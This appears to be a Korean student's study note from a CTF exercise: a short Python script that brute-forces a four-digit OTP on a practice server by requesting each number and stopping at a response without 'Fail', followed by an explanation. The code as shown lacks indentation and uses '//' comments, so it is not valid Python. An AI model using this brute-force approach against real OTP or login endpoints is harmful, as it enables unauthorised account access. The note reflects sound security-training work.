import requests
import os
url= "http://ctf.segfaulthub.com:1129/6/checkOTP.php?otpNum="
for i in range(0000,9999):
res= requests.get(url+str(i))
print("try:" + str(i)) //지금 세고 있는 숫자
os.system('cls') // 쉘창 한줄 지우기 -> 누적방지
if "Fail" not in res.text:
print(res.text + str(i))
break
request 모듈을 사용하여 정보를 받아왔고
if "Fail" not in res.text:을 사용한 이유는
print(res.text + str(i))을 찍어봤을때
<script>alert('Login Fail...');</script><script>location.href='login.php';</script>0으로 결과가 도출됨
->Fail을 포함하지 않는 문장이 나오면 답.
--Normaltic study 5주차 ---